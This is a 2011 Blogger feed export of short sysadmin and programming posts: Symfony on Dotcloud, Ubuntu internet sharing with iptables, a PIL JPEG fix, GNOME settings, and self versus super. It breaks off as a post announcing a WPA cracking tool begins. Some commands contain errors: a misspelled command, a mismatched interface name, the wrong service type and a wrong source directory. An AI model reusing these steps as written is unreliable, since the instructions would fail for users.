scheme="http://www.blogger.com/atom/ns#" term="php symfony" /><category scheme="http://www.blogger.com/atom/ns#" term="dotcloud" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><title>Tutorial : Running a symfony project under Dotcloud</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-yjKHZ3tp0sw/Td7x9GmuQfI/AAAAAAAAAfA/lwsrp5MEy2c/s1600/dotcloud.png" imageanchor="1" style=""&gt;&lt;img border="0" height="95" width="320" src="http://3.bp.blogspot.com/-yjKHZ3tp0sw/Td7x9GmuQfI/AAAAAAAAAfA/lwsrp5MEy2c/s320/dotcloud.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="www.dotcloud.com"&gt;Dotcloud is under beta now, you can ask for one.&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The main issue I got while try to run a symfony project was to change the root directory. Googling fot symfony and dotcloud didnt answers this...so I create this post.&lt;br /&gt;
&lt;br /&gt;
Lets create a new project &lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;dotcloud create your_symfony_project_name
&lt;/pre&gt;&lt;br /&gt;
Lets create the www and db&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;dotcloud deploy --type python your_symfony_project_name.www
dotcloud deploy --type python your_symfony_project_name.db
&lt;/pre&gt;&lt;br /&gt;
Now optionally, import the database. In this case I was using mysql&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;otcloud run your_symfony_project_name.db "cat &gt; data.sql" &lt; your_local_dump_file.sql
&lt;/pre&gt;
Before push your code to www, lets add nginx configuration for Symfony.
create nginx.conf at web directory of your project with this:
&lt;pre name="code" class="bash"&gt;location ~* \.(ico|css|js|gif|jpe?g|png)(\?[0-9]+)?$ {
  expires 7d;
  break;
}

location / {
  try_files $uri $uri/ /index.php;
}

#Remove this at production!!
location ^~ /frontend_dev.php/ {
  try_files $uri /frontend_dev.php;
}
&lt;/pre&gt;
Next step upload the symfony proyect PHP files.
&lt;pre name="code" class="bash"&gt;dotcloud push your_symfony_project_name.www ~/your_symfony_project_name
&lt;/pre&gt;Symfony needs the root directory to be in "web" so create "dotcloud_build.yml" in your aplication root directory with this:
&lt;pre name="code" class="bash"&gt;www:
    approot: web
&lt;/pre&gt;REMEBER: clear the symfony cache!!

To clear cache:
&lt;pre name="code" class="bash"&gt;dotcloud ssh your_symfony_project_name.www 
&lt;/pre&gt;&lt;pre name="code" class="bash"&gt;cd code
./symfony cache:clear
&lt;/pre&gt;&lt;br /&gt;
Thats all folks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-7834464987419392726?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/2AJJrRhakPNcJmRXQmAHGoGAKFA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2AJJrRhakPNcJmRXQmAHGoGAKFA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/2AJJrRhakPNcJmRXQmAHGoGAKFA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/2AJJrRhakPNcJmRXQmAHGoGAKFA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/RMCkPO137zs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/7834464987419392726/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=7834464987419392726" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7834464987419392726?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/7834464987419392726?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/RMCkPO137zs/tutorial-running-symfony-project-under.html" title="Tutorial : Running a symfony project under Dotcloud" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-yjKHZ3tp0sw/Td7x9GmuQfI/AAAAAAAAAfA/lwsrp5MEy2c/s72-c/dotcloud.png" height="72" width="72" /><thr:total>3</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/tutorial-running-symfony-project-under.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0YCRns5eSp7ImA9WhZVE04.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-4842600714927625275</id><published>2011-05-25T07:52:00.000-07:00</published><updated>2011-05-25T07:52:47.521-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-25T07:52:47.521-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="share internet" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Share internet with Ubuntu 11.04</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Spat44augrU/Td0XtEVVnuI/AAAAAAAAAeo/GNBVVdNtMiQ/s1600/usb_net_sharing.jpg" imageanchor="1" style=""&gt;&lt;img border="0" height="240" width="320" src="http://1.bp.blogspot.com/-Spat44augrU/Td0XtEVVnuI/AAAAAAAAAeo/GNBVVdNtMiQ/s320/usb_net_sharing.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
This tutorial explains how to share internet from wifi (wlan0) to ethernet (eth0). So the &lt;br /&gt;
internet connection comes from the wifi and we share to other computer via ethernet.&lt;br /&gt;
&lt;br /&gt;
edit /etc/network/interfaces, add statis IP to eth0&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;auto eth0
iface eth0 inet static
        address 10.0.0.1
        netmask 255.255.255.0
&lt;/pre&gt;&lt;br /&gt;
Restart network&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo /etc/init.d/networking restart
&lt;/pre&gt;&lt;br /&gt;
Install dhcp3 and dnsmasq&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo apt-get install dhcp3-server dnsmasq  
&lt;/pre&gt;&lt;br /&gt;
At this step is possible to get an error, we need to configure dhcp3 server. Edit /etc/dhcp/dhcpd.conf add this&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.2 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}
&lt;/pre&gt;Now restart dhcpd&lt;br /&gt;
&lt;pre name="code" class="bash"&gt; sudo /etc/init.d/isc-dhcp-server restart
&lt;/pre&gt;&lt;br /&gt;
At this point we need to enable ip forwarding&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo iptables -A FORWARD -o eth0 -i eth1 -s 10.0.0.0/24 -m conntrack --ctstate NEW -j ACCEPT
sudo iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A POSTROUTING -t nat -j MASQUERADE 
&lt;/pre&gt;&lt;br /&gt;
now save the iptables commands:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo iptables-save | sudo tee /etc/iptables.sav
&lt;/pre&gt;&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo sh -c "echo 1 &gt; /proc/sys/net/ipv4/ip_forward"
&lt;/pre&gt;&lt;br /&gt;
Make a permanent ip_forward=1,edit /etc/sysctl.conf and add these lines:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;net.ipv4.conf.default.forwarding=1
net.ipv4.conf.all.forwarding=1
&lt;/pre&gt;&lt;br /&gt;
please if you need an easy we to share internet, comment a link!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-4842600714927625275?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ANc063UmnYEqj2VEZSmmuot1Q-o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ANc063UmnYEqj2VEZSmmuot1Q-o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ANc063UmnYEqj2VEZSmmuot1Q-o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ANc063UmnYEqj2VEZSmmuot1Q-o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/pjzx3et7eWM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/4842600714927625275/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=4842600714927625275" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4842600714927625275?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/4842600714927625275?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/pjzx3et7eWM/share-internet-with-ubuntu-1104.html" title="Share internet with Ubuntu 11.04" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-Spat44augrU/Td0XtEVVnuI/AAAAAAAAAeo/GNBVVdNtMiQ/s72-c/usb_net_sharing.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/share-internet-with-ubuntu-1104.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cDQXk_fyp7ImA9WhZXF0U.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-8948262280812765102</id><published>2011-05-07T10:24:00.000-07:00</published><updated>2011-05-07T10:24:30.747-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-07T10:24:30.747-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PIL" /><category scheme="http://www.blogger.com/atom/ns#" term="python PIL" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><title>[SOLVED] Python PIL : IOError: decoder jpeg not available</title><content type="html">The first thing I check when I got this error was to check if libjpeg was installed. &lt;br /&gt;
Lets try this&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;sudo apt-get install libjpeg libjpeg-dev
sudo apt-get install libfreetype6 libfreetype6-dev 
&lt;/pre&gt;&lt;br /&gt;
download &lt;a href="http://www.ijg.org/files/jpegsrc.v8c.tar.gz"&gt;jpeg source&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;    tar -xzvf jpegsrc.v8c.tar.gz
    cd jpeg-6b/
    ./configure
    make
    sudo make install
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
So download &lt;a href="http://effbot.org/downloads/Imaging-1.1.7.tar.gz"&gt;Python Imaging Library 1.1.7 Source Kit (all platforms) &lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
The after run the setup.py install, check if the support was ok&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;--------------------------------------------------------------------
*** TKINTER support not available (Tcl/Tk 8.5 libraries needed)
--- JPEG support available
--- ZLIB (PNG/ZIP) support available
*** FREETYPE2 support not available
--- LITTLECMS support available
--------------------------------------------------------------------

&lt;/pre&gt;&lt;br /&gt;
If not, in setup.py in PIL I had to change the path of :&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;JPEG_ROOT = None
ZLIB_ROOT = None
&lt;/pre&gt;&lt;br /&gt;
to&lt;br /&gt;
&lt;pre name="code" class="bash"&gt;JPEG_ROOT = libinclude("/usr/")
ZLIB_ROOT = libinclude("/usr/")
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-8948262280812765102?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/e66DE_HbQLfWWOZT5cgG0WgkNn8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e66DE_HbQLfWWOZT5cgG0WgkNn8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/e66DE_HbQLfWWOZT5cgG0WgkNn8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/e66DE_HbQLfWWOZT5cgG0WgkNn8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/uqsb_xXuPR0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/8948262280812765102/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=8948262280812765102" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8948262280812765102?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/8948262280812765102?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/uqsb_xXuPR0/solved-python-pil-ioerror-decoder-jpeg.html" title="[SOLVED] Python PIL : IOError: decoder jpeg not available" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/solved-python-pil-ioerror-decoder-jpeg.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAMR3g8cCp7ImA9WhZXFE4.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-1641347005309597056</id><published>2011-05-03T07:26:00.000-07:00</published><updated>2011-05-03T07:26:26.678-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-03T07:26:26.678-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu 11.04 remove unity" /><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu 11.04" /><title>[SOLVED] Ubuntu 11.04 Remove unity but use gnome 2</title><content type="html">In other post I explain &lt;a href="http://www.isnull.com.ar/2011/04/ubuntu-1104-natty-narwhal-gnome-3-as.html"&gt;Howto remove unity and install gnome3&lt;/a&gt;. but since gnome3 is unstable this will change unity into default gnome but a stable version :&lt;br /&gt;
&lt;br /&gt;
1) Click on the power button in the upper right corner  (mine looks like  a light switch) and choose the last option, System Settings.&lt;br /&gt;
2) Search for Login Screen&lt;br /&gt;
3) Double-click to display&lt;br /&gt;
4) Choose Unlock and enter your password&lt;br /&gt;
5) Select Ubuntu Classic as default session.&lt;br /&gt;
&lt;br /&gt;
Please comment if you have problems.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-1641347005309597056?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/WBkTbpbrSeGu1ohKK6J2ifcqOhI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WBkTbpbrSeGu1ohKK6J2ifcqOhI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/WBkTbpbrSeGu1ohKK6J2ifcqOhI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/WBkTbpbrSeGu1ohKK6J2ifcqOhI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/P9aLVSpHN00" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/1641347005309597056/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=1641347005309597056" title="3 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/1641347005309597056?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/1641347005309597056?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/P9aLVSpHN00/solved-ubuntu-1104-remove-unity-but-use.html" title="[SOLVED] Ubuntu 11.04 Remove unity but use gnome 2" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/solved-ubuntu-1104-remove-unity-but-use.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkYDQXkzfyp7ImA9WhZXE0g.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-2948194188262631596</id><published>2011-05-02T08:29:00.000-07:00</published><updated>2011-05-02T08:29:30.787-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-02T08:29:30.787-07:00</app:edited><title>90% of programmers dont know that this==super!</title><content type="html">&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;In programming lenguages the use of super is commonly mistaken. Usually super seems to call the method of the super class of the class where the method is implemented.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Factoid : &amp;nbsp;super &amp;nbsp;mean&amp;nbsp;start the search in the superclass of the receiver.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;The error is easy to induce, a lot of programmers learns by induction the use of super (or learning by example).&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;This causes a misconception of the real definition of super and self (or this in java).&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;The real use of self or super is to specify how to search the message (or method) in the class hierarchy, I don't think a common programmer will think this way (not in the way algorithm is implemented).&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Lets see the example :&lt;/div&gt;&lt;div class="separator" style="clear: both; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-dPwIbUljcZc/Tbxrzj0XQqI/AAAAAAAAAds/1dE-ol6izNM/s1600/blogpostselfsuper.png" imageanchor="1"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-dPwIbUljcZc/Tbxrzj0XQqI/AAAAAAAAAds/1dE-ol6izNM/s320/blogpostselfsuper.png" style="cursor: move;" width="252" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;example3 and example4 are instances of Three and Four respectively.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;if you send the message result2 to example3 it will return 2&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;if you send the message result2 to example4 it will return 4&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;Also&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;if you send the message result3 to example3 it will return 2&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;if you send the message result3 to example4 it will return 2&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;But what will happened if Three implements the test message &amp;nbsp;test as { return 3 } when you send the result3 message to example4?&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;It will return 3 or 2? Actually it will return 2. If you don't know why check the definition of self and super&lt;/div&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;self (or this) means : start the search in the receiver class (receiver here is the object which get the message)&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Super really means&amp;nbsp;&lt;/span&gt;&amp;nbsp;: start the search in the&amp;nbsp;superclass of the class containing the method in which super was used.&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;So the answer of the question it will return 2 or 3 depends on where the super sends is implemented (in which class!) not as self!&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6558642435793682050-2948194188262631596?l=www.isnull.com.ar' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/6X1c21GTGSqVfB4_DjAIeTjLLpc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6X1c21GTGSqVfB4_DjAIeTjLLpc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/6X1c21GTGSqVfB4_DjAIeTjLLpc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6X1c21GTGSqVfB4_DjAIeTjLLpc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Isnull/~4/flEpdTavQNc" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.isnull.com.ar/feeds/2948194188262631596/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=6558642435793682050&amp;postID=2948194188262631596" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2948194188262631596?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6558642435793682050/posts/default/2948194188262631596?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Isnull/~3/flEpdTavQNc/90-of-programmers-dont-know-that.html" title="90% of programmers dont know that this==super!" /><author><name>Leonardo</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-dPwIbUljcZc/Tbxrzj0XQqI/AAAAAAAAAds/1dE-ol6izNM/s72-c/blogpostselfsuper.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://www.isnull.com.ar/2011/05/90-of-programmers-dont-know-that.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4GQ3Y8cSp7ImA9WhZXEks.&quot;"><id>tag:blogger.com,1999:blog-6558642435793682050.post-946580788597127884</id><published>2011-05-01T09:38:00.000-07:00</published><updated>2011-05-01T09:38:42.879-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-01T09:38:42.879-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="WPA cracking" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><title>MOSCRACK The Clustered WPA Cracker v2.06b released</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-NZxOHIuWfEA/Tb2MHzpRjFI/AAAAAAAAAeE/3XfFGVahr-c/s1600/moscrack_network.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="302" src="http://4.bp.blogspot.com/-NZxOHIuWfEA/Tb2MHzpRjFI/AAAAAAAAAeE/3XfFGVahr-c/s400/moscrack_network.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;/div&gt;&lt;div id="page-wrapper" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 40px; padding-left: 0px; padding-right: 0px; padding-top: 40px; text-align: left; vertical-align: baseline; width: 980px;"&gt;&lt;div id="content-wrapper" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 40px; padding-left: 0px; padding-right: 0px; padding-top: 20px; position: relative; vertical-align: baseline; width: 980px;"&gt;&lt;div class="main-content-other" id="main-content" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: hidden; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; position: relative; vertical-align: baseline; width: 650px;"&gt;&lt;div style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-size: 13px; font-style: inherit; font-weight: inherit; line-height: 19px; margin-bottom: 12px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 